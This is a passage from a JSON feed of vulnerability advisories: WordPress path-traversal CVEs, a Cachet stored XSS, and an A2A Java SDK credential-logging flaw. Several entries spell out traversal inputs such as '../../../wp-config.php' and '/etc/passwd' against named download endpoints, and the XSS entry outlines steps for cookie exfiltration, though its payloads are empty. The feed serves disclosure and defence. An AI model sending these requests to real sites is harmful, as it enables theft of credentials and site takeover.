attackers to download arbitrary files via the unsanitized 'file' parameter. Attackers can send GET requests to aspose_import_export_download.php with traversal sequences like ../../../wp-config.php to read database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-20.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:13.060Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-20124","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00498,"percentile":0.424,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-20124&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2015-20124","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-20124","type":"primary","publishedAt":"2026-10-20T21:17:13.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-20124&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-20124, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-20123","cveId":"CVE-2015-20123","aliases":[],"kind":"vulnerability","title":"Aspose Doc Exporter plugin for WordPress before 2.0 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files by passing...","summary":"Aspose Doc Exporter plugin for WordPress before 2.0 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files by passing unsanitized paths to readfile(). Attackers can send GET requests to aspose_doc_exporter_download.php with the 'file' parameter set to values like ../../../wp-config.php to retrieve database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-23.","detail":"Aspose Doc Exporter plugin for WordPress before 2.0 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files by passing unsanitized paths to readfile(). Attackers can send GET requests to aspose_doc_exporter_download.php with the 'file' parameter set to values like ../../../wp-config.php to retrieve database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-23.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:12.890Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-20123","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00412,"percentile":0.35202,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-20123&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2015-20123","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-20123","type":"primary","publishedAt":"2026-10-20T21:17:12.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-20123&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-20123, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-125134","cveId":"CVE-2014-125134","aliases":[],"kind":"vulnerability","title":"ChurcHope theme for WordPress before 2.2 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files through the 'file' parameter of...","summary":"ChurcHope theme for WordPress before 2.2 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files through the 'file' parameter of /wp-content/themes/churchope/lib/downloadlink.php. Attackers can supply directory traversal sequences to read sensitive files like wp-config.php or /etc/passwd, exposing database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.","detail":"ChurcHope theme for WordPress before 2.2 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files through the 'file' parameter of /wp-content/themes/churchope/lib/downloadlink.php. Attackers can supply directory traversal sequences to read sensitive files like wp-config.php or /etc/passwd, exposing database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:12.720Z","updatedAt":"2026-10-23T03:16:29.903Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-125134","asOf":"2026-10-23T03:16:29.903Z"},"epss":{"probability":0.00817,"percentile":0.5685,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-125134&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2014-125134","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-125134","type":"primary","publishedAt":"2026-10-20T21:17:12.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-125134&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-125134, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-125133","cveId":"CVE-2014-125133","aliases":[],"kind":"vulnerability","title":"NativeChurch theme for WordPress before 1.6.2 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files through the file parameter...","summary":"NativeChurch theme for WordPress before 1.6.2 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files through the file parameter of download.php. Attackers can send GET requests with directory traversal sequences in the file parameter to retrieve sensitive files like wp-config.php. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.","detail":"NativeChurch theme for WordPress before 1.6.2 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files through the file parameter of download.php. Attackers can send GET requests with directory traversal sequences in the file parameter to retrieve sensitive files like wp-config.php. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:12.560Z","updatedAt":"2026-10-23T16:16:50.017Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-125133","asOf":"2026-10-23T16:16:50.017Z"},"epss":{"probability":0.01122,"percentile":0.65981,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-125133&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2014-125133","url":"https://nvd.nist.gov/vuln/detail/CVE-2014-125133","type":"primary","publishedAt":"2026-10-20T21:17:12.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-125133&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-125133, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2012-20002","cveId":"CVE-2012-20002","aliases":[],"kind":"vulnerability","title":"TinyMCE Thumbnail Gallery plugin for WordPress before 1.1.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the href...","summary":"TinyMCE Thumbnail Gallery plugin for WordPress before 1.1.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the href parameter. Attackers can send GET requests to /php/download-image.php with traversal sequences like ../../../../wp-config.php to retrieve database credentials and system files. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.","detail":"TinyMCE Thumbnail Gallery plugin for WordPress before 1.1.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the href parameter. Attackers can send GET requests to /php/download-image.php with traversal sequences like ../../../../wp-config.php to retrieve database credentials and system files. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:10.613Z","updatedAt":"2026-10-23T14:17:29.060Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-20002","asOf":"2026-10-23T14:17:29.060Z"},"epss":{"probability":0.00528,"percentile":0.44384,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2012-20002&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2012-20002","url":"https://nvd.nist.gov/vuln/detail/CVE-2012-20002","type":"primary","publishedAt":"2026-10-20T21:17:10.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2012-20002&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2012-20002, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113712","cveId":"CVE-2026-113712","aliases":["GHSA-x397-5hrv-j9m9"],"kind":"vulnerability","title":"Cachet has Stored XSS in Incident Component","summary":"Affected endpoint: /dashboard/incidents/\nAffected fields: Incident Name, Incident Message\nAffected version: Cachet v3\n\n1. Log in as an authenticated user\n2. Navigate to /dashboard/incidents/\n3. Create a new incident\n4. Insert the following payloads in the Name and Message field:","detail":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.\n\n### Details\nThe incident Name and Message fields do not properly sanitize HTML event handler attributes. While tags appear to be filtered, event-based payloads are not blocked.\n\nAffected endpoint: /dashboard/incidents/\nAffected fields: Incident Name, Incident Message\nAffected version: Cachet v3\n\n### PoC\n\n1. Log in as an authenticated user\n2. Navigate to /dashboard/incidents/\n3. Create a new incident\n4. Insert the following payloads in the Name and Message field:\n\nPayload 1 — Confirm XSS execution:\n``` ```\n\nStep 2 — Cookie/token exfiltration:\n``` ```\n\nStep 3 — Forced redirect to sensitive page:\n``` ```\n\n5. Save the incident\n6. Navigate to the public status page\n7. Payload executes in the victim's browser\n### Payload 1 \n\n### Payload 2\n\nStored XSS affecting all users who view the public status page.\n\nAn attacker can:\n- Confirm script execution via alert popup\n- Steal session cookies and XSRF tokens from authenticated users\n- Silently redirect victims to sensitive pages like `/dashboard/manage-customization`\n\nThis vulnerability could lead to full account takeover of any user who views the status page, including administrators.\n\nAffected package ranges reported by GitHub:\ncachethq/cachet: <= 2.4.1","action":"Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.","publishedAt":"2026-10-20T21:09:40.000Z","updatedAt":"2026-10-20T21:09:40.000Z","regions":["Global"],"vendor":null,"product":"cachethq/cachet","stacks":["PHP packages (Composer)","cachethq/cachet","composer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","sourceUrl":"https://github.com/advisories/GHSA-x397-5hrv-j9m9","asOf":"2026-10-20T21:09:40.000Z"},"epss":{"probability":0.0046,"percentile":0.39561,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113712&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-x397-5hrv-j9m9","url":"https://github.com/advisories/GHSA-x397-5hrv-j9m9","type":"primary","publishedAt":"2026-10-20T21:09:40.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-x397-5hrv-j9m9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-x397-5hrv-j9m9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-x397-5hrv-j9m9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-x397-5hrv-j9m9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-x397-5hrv-j9m9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-x397-5hrv-j9m9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-x397-5hrv-j9m9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-x397-5hrv-j9m9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-x397-5hrv-j9m9, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113712&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113712, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111762","cveId":"CVE-2026-111762","aliases":["GHSA-x32g-jvvm-4725"],"kind":"vulnerability","title":"A2A Java SDK: Push notification credentials logged in cleartext on protobuf parse failure","summary":"**Where.** `transport/rest/src/main/java/org/a2aproject/sdk/transport/rest/handler/RestHandler.java:676` in `parseRequestBody`\n\n**What.** The `parseRequestBody` method logs the entire JSON request body at `SEVERE` level when `JsonFormat.parser().merge()` throws `InvalidProtocolBufferException`. This method is called from `createTaskPushNotificationConfiguration` (line 377), where the body contains client-supplied push notification bearer tokens (field `token`) and authentication credentials (field `authentication.credentials`). These secrets are written to server log files in full.","detail":"### *Impact.** Push notification bearer tokens and authentication credentials submitted by clients are written to server log files in cleartext. Any operator, log aggregation system, or attacker with log access can read these secrets and use them to authenticate to the client's push notification endpoints, potentially sending forged task status updates.\n\n**Where.** `transport/rest/src/main/java/org/a2aproject/sdk/transport/rest/handler/RestHandler.java:676` in `parseRequestBody`\n\n**What.** The `parseRequestBody` method logs the entire JSON request body at `SEVERE` level when `JsonFormat.parser().merge()` throws `InvalidProtocolBufferException`. This method is called from `createTaskPushNotificationConfiguration` (line 377), where the body contains client-supplied push notification bearer tokens (field `token`) and authentication credentials (field `authentication.credentials`). These secrets are written to server log files in full.\n\n**Exploit scenario.** A client creates a push notification configuration by POSTing to `/v1/tenants/{tenant}/tasks/{taskId}/pushNotificationConfigs` with a body containing `{\"url\": \"https://client.example.com/webhook\", \"token\": \"secret-bearer-token\", \"authentication\": {\"scheme\": \"Bearer\", \"credentials\": \"oauth-access-token\"}, \"extraField\": \"value\"}`. The extra field causes `JsonFormat.parser().merge()` to throw `InvalidProtocolBufferException`. The entire body including `secret-bearer-token` and `oauth-access-token` is logged at SEVERE level. An attacker with log access retrieves the cleartext credentials.\n\n**Preconditions.**\n- Attacker must have access to server log files (centralized logging, log aggregation, shared infrastructure, or insider access)\n- Push notification capability must be enabled\n- A request body must fail protobuf deserialization while being valid JSON (unknown fields with strict parsing, schema mismatches)\n\n**Fix.** Do not log the raw request body. Log only a sanitized summary — body length and content type, not content. Replace the log call with something like: `log.log(Level.SEVERE, \"Error parsing JSON request body (length={0})\", body != null ? body.length() : 0)`.\n\n**Verification.** 3/3 lens verifiers confirmed.\n\nAffected package ranges reported by GitHub:\norg.a2aproject.sdk:a2a-java-sdk-transport-rest: < 1.3.0.Final","action":"GitHub lists first patched versions: org.a2aproject.sdk:a2a-java-sdk-transport-rest: 1.3.0.Final. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T21:08:33.000Z","updatedAt":"2026-10-20T21:08:34.000Z","regions":["Global"],"vendor":null,"product":"org.a2aproject.sdk:a2a-java-sdk-transport-rest","stacks":["Java","Java packages (Maven)","org.a2aproject.sdk:a2a-java-sdk-transport-rest","maven"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.7,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://github.com/advisories/GHSA-x32g-jvvm-4725","asOf":"2026-10-20T21:08:34.000Z"},"epss":{"probability":0.00174,"percentile":0.06791,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111762&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-x32g-jvvm-4725","url":"https://github.com/advisories/GHSA-x32g-jvvm-4725","type":"primary","publishedAt":"2026-10-20T21:08:33.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-x32g-jvvm-4725, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-x32g-jvvm-4725, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-x32g-jvvm-4725, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-x32g-jvvm-4725, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-x32g-jvvm-4725, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-x32g-jvvm-4725, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-x32g-jvvm-4725, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-x32g-jvvm-4725, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-x32g-jvvm-4725, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111762&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111762, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111761","cveId":"CVE-2026-111761","aliases":["GHSA-q78c-5jjq-57g8"],"kind":"vulnerability","title":"A2A Java SDK has Server-Side Request Forgery (SSRF) in push-notification 